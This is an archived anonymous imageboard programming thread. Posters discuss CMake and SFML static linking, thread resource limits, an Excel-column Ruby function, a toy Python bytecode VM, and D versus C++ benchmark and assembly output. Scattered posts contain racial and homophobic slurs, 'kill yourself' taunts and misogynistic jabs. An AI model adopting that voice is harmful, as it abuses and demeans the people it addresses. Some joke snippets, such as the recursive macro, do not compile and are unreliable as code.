I have compiled SFML as a static library also, however, cmake keeps trying to link against the dynamic version of sfml-system (with the -d suffix). And from what I'm seeing in the module it should add the -s suffix when the static variable is set to true, what gives?
>>
>>52224157
thanks!

i understand what i fucked up now, you're the best.
>>
File: 1447512453613.png (9KB, 500x500px) Image search: [Google]
1447512453613.png
9KB, 500x500px
When creating multi-threaded programs, to what extent should one use up processing power, memory and network?
Should the client be able to set things like max RAM usage and max socket connections?
>>
>>52224411
In my file manager I try to have no more than 3 threads doing heavy work at the same time and I also set them to low priority
Ideally you'd want to check available cores and always keep one free so you never cause your user's system to lag
>>
>>52224411
It obviously varies.
Some programs--browsers--give no shits as to how much they use 'cause they know that at worst only one thread is likely to freeze at one time
>>
>>52224364
>>52224157
hold up a second, i fixed the <li> and <ul> tagging like you suggested and used the + selector but its still not working properly. the [alt[ link is still visible by default

i'm so confused but i'm sure its something stupid.

http://codepen.io/anon/pen/LGxrbV
>>
File: autoconf.jpg (104KB, 1007x873px) Image search: [Google]
autoconf.jpg
104KB, 1007x873px
Holy shit autoconf is a mess.
>>
>>52224254
Okay apparently even though CMake regenerated stuff when it detected changes I still had to manually delete CMakeCache from my build folder and invoke the cmake command again, I also had to add ${SFML_DEPENDENCIES} to link_libraries to make it work.

Aka, nvm solved it :^)
>>
File: !.png (52KB, 359x376px) Image search: [Google]
!.png
52KB, 359x376px
>>52222222
CONFIRMED
>>
File: froggu.jpg (101KB, 400x600px) Image search: [Google]
froggu.jpg
101KB, 400x600px
>>52222222
>>
>>52221613

Not quite like a conversion of base, because the first character in the sequence, A, must be repeated again, whereas normally we'd go...

0, 1, 2, ... 10, 11, 12, ... 20, 21, 22, ... etc
A, B, C, ... AA <-- if this were a simple conversion to a custom base 26, this would be BA.

So the solution requires subtracting one each time to counterbalance this.
def to_excel n
letters = ('A'..'Z').to_a
str = ''
while n > 0
n -= 1
idx = n % 26
str.prepend letters[idx]
n /= 26
end
str
end
>>
NEW THREAD ALREADY OUT GUYS!!!

>>52225087
>>52225087
>>52225087
>>52225087
>>52225087
>>
>>52225195
This thread hasn't even hit the bump limit yet, you frothing retard.
>>
I've got a challenge for you dpt

Write a virtual machine in a chosen language that can run a game by reading data from a little endian file

Go
>>
>>52223052
>Most people I have met who are software engineers are simply clueless nu-males and autists, and nothing even remotely profound has come out of their mouthes but somehow the academic climate is so formed that it rewards them with career positions simply for being a part of this awful God-forsaken epoch of ours.
i can feel the autism radiating from my screen
>>
>>52225260
>write a VM for architecture that I won't share with you
really nigger, you went as far as to specify the byte order of the bytecode but you didn't even share the specification?
>>
>>52225260
you mean any game engine?
>>
>>52225260
import vm

vm1 = vm()
vm1.run(b"\x69") // Byte 0x69 means "run game", implementation is left to the vm :^)
>>
>>52225275
Spec is up to how you want to challenge yourself

>>52225276
No

>>52225299
Cheeky
>>
>>52225195
Dumbass
>>
Best language for doing math?
>>
>>52225370
mathmatica, probably
>>
>>52225370
python with numpy / scipy
or matlab/GNU Octave
>>
>>52225377
this.
>>
>>52225370
ti83 plus OS
>>
>>52225370
GLSL
>>
>>52225342
>Spec is up to how you want to challenge yourself
Stupid challenge then, here's what I wrote for you:
import struct

pos = 0
data = []

def GetOpCode():
return data[pos]

def OpFaggot():
print("Faggot.")
return True

lookup = {
0x01: OpFaggot
}

with open('img.bin') as f:
data = bytes(f.read(), 'utf-8')
data = list(struct.unpack('<{}H'.format(len(data) // 2), data))

while pos <= len(data):
code = GetOpCode()
func = lookup.get(code)
if func:
if func():
pos += 1
else:
print('Unknown opcode: {0:x}'.format(code))
exit()


And here's output from img.vm:
Faggot.
Faggot.
Unknown opcode: 2


vm.img being (converted to hex):
01 00 01 00 02 00
>>
>>52222475
no it won't

kill yourself
>>
>>52222330
id vagely similar to tripfag name doesn't count
>>
>>52222523
base 10 is fucking based kill yourself hipster faget
>>
>>52223862
they're slow as shit
>>
>write two identical programs in C++ and D to find primes until 100,000,000
>compile both with optimisations off
>race them against each other
>start D, then C++
>C++ pulls ahead after a few seconds
YOU WERE THE CHOSEN ONE

Do gdc's optimisation options work the same as g++'s? As in, -O2, -O3 or whatever?
by the way I'm well aware there are way more scientific ways I could be doing this, but this way is more entertaining
>>
File: 1436979445147.jpg (42KB, 797x808px) Image search: [Google]
1436979445147.jpg
42KB, 797x808px
>>52222222
Damn son
>>
>>52225736
please leave

and take your dumb memes with you
>>
>>52220870
In your loader assembly do
push %ebx

Right before you call kernel_main, which should be defined with a pointer multiboot header or the likes. Unless it's been trashed, it should work.
>>
>>52220849
>>52225781
Fuck, meant for you mate...
>>
>>52225736
>compile both with -O3
>they run exactly as fast as each other
>up to 40,000,000 and they're still exactly the same
well that's strange

>>52225747
sorry you hate fun, anon
>>
File: output.webm (1MB, 94x364px) Image search: [Google]
output.webm
1MB, 94x364px
>>52225826
This is too close
I think they must have literally compiled to the same thing
D on the left, C++ on the right if anyone wants to know
>>
>>52225849
Well why don't you just compare the generated assembly?
>>
>>52225856
This.

>>52225849
Can you dump the assembly and post it, I'm kind of curious to see why it's so slow...
>>
>>52225863
because it spends 90% of the cycles printing the shit out for you because of them nasty system calls
>>
File: output.webm (1MB, 94x364px) Image search: [Google]
output.webm
1MB, 94x364px
>D pulls ahead
I know it's basically just chance causing this, but it's weirdly compelling for some reason

>>52225863
>>52225856
basically I'm using the dumbest fucking algorithm (iterate i from 0 to 100,000,000, iterate j from sqrt(i) to 0, bool prime = i%j==0)
For some reason the assembly that GDC gave me is like a billion lines long whereas G++'s is tiny

I'll post a pastebin, but you have to promise not to judge me for using xubuntu
>>
>>52225934
I'm vocally judging you as we speak
>>
>>52223066
This. Women are a meme.
>>
>>52225948
D: http://pastebin.com/nMFjuaZE
8059 lines

C++: http://pastebin.com/mX4FCUnd
127 lines

Why the fuck did GDC do that? There's no way it could have unrolled the loop or something, because I inputted the maximum at runtime

actually come to think of it I inputted the maximum in the D program but not in the C++ one, but I don't think that can account for literally ~7900 lines of assembly

(I don't actually know what the fuck it's doing because I can't read assembly)
>>
>>52223085
#define ayyy(x) x(ayyy(x))
#define lmao(x) x(lmao(x))
int main()
{
ayyy(lmao);
int(*){} ayyyyyy lmao
}
>>
>>52225980
>AT&T
>>
>>52225997
What?
>>
>>52226004
The assembly you posted is in AT&T syntax, which is pretty gross looking. Intel syntax looks much better.
As for why the D assembly is longer, it looks like it's also showing the assembly for all of std.stdio as well.
>>
>>52225985
does not compile
>>
Java IDE for Linux with VI-support? IntelliJ IDEA the way to go?
>>
>>52226083
Yes
>>
>>52226035
I just posted what the -s option gave me for g++ and gdc

why would gdc do that? The output for D is also ~11mb, where c++ is 9.2kb
is that some kind of obscure optimisation?

I imported basically the same things from the standard library of each, arguably more from c++ because stdlib.h has more than std.conv (presumably)
import std.stdio;
import std.conv;
import std.math;

vs
#include <iostream>
#include <math.h>
#include <stdlib.h>
>>
>>52226088
Cool, what I was using before.
>>
>>52226097
I couldn't tell you myself why that is, dlang forums would be a better place to ask.
>>
>>52226097
Seems like the C++ version links libstdc dynamically whereas the D version links the standard statically.
>>
>>52226097
I know nothing about D, but what do the executable sizes look like when you use g++ with the -static option?
>>
>>52226178
I don't think a linker issue would cause it to show up in the assembled code.
>>
>>52222222
destroyed
>>
>>52226194
>>52226178
-static and -O3 gives 1.7mb for c++ and 12.5mb for d
without optimisations or -static, GDC gives me 5.7K lines of assembly and c++ gives me 116

>>52226162
good point, but GDC isn't the official compiler, DMD is so they might not know either
I only chose GDC because I know all the GCC options I need and figured they'd be the same

Anyone happen to know how to get assembly and roughly -O3 level optimisations out of DMD?
>>
ABANDON THREAD GUYS!!!!!!

NEW THREAD ALREADY!!!
>>52225087
>>52225087
>>52225087
>>52225087
>>
>>52225849
The print calls are most definitely bottlenecking that up.

Set it up so it prints each second or so.
>>
>>52226035
GNU stuff by default resorts to AT&T Syntax, don't ask me who the hell made that call...
>>
File: Screenshot_2016-01-04-02-03-09.png (244KB, 1080x1920px) Image search: [Google]
Screenshot_2016-01-04-02-03-09.png
244KB, 1080x1920px
>>52222253
Yep
>>
>>52223034
Literally no strength needed. Hell, because you're a grill you could get a job as one extremely easily, do nothing, and still not get fired.
>>
>>52226588
*tips fedora*
>>
File: 1299723240994.jpg (53KB, 400x400px) Image search: [Google]
1299723240994.jpg
53KB, 400x400px
>>52222211
>>52222222
>>
>>52225980
Maybe D static links stuff like printing to stdout.
>>
>>52222222
fuuuuuuuck
>>
>>52222871
I didn't say it was a good job.
>>
File: all dat dubs.jpg (23KB, 325x273px) Image search: [Google]
all dat dubs.jpg
23KB, 325x273px
>>52222222
ayy lmao
>>
>>52222222
TOPKEK
>>
File: 1430934665075.png (575KB, 716x716px) Image search: [Google]
1430934665075.png
575KB, 716x716px
>>52222222

THOSE ARE SOME VERY IMPRESSIVE NUMBERS
>>
>>52222359

/dpt/ is literally the biggest cancer on this fucking board and this is probably the best thing to happen to it ever
>>
>>52222222
BASED
Thread posts: 330
Thread images: 68


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.